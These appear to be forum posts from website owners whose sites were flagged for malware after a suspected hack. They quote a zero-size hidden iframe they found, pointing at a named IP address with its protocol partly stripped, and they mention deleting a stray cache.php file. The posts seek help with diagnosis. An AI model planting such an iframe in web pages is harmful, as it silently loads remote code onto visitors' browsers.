We checked the online files. We still couldn’t find the code but someone looking into it spotted the following invisible iframe. I’ve removed the http below just in case but it was 84.244.138.55.
<iframe height=”0%” frameborder=”0″ width=”0%” scrolling=”auto” noresize=”” marginwidth=”0″ marginheight=”0″ src=”http:/ts/in.cgi?sltest”/>
We did however find a random cache.php file on the server which we deleted, which also removed the random gap at the top of the page. After resubmitting the site for review, it passed, only to then fail almost immediately. The cache.php hasn’t reappeared, and we’re completely stumped as to how to progress…
This malware also seems to be affecting my site – http://www.dpadmagazine.com – but having looked through all of the files and pages, I can’t find any inserted code.
A gap has also appeared at the top of the page when viewed in Firefox 3 on Windows and some Footer code has disappeared. I’m presuming it’s a hack, but having not been able to find this code I’ve no idea on how to fix it.
Anyone able to help?
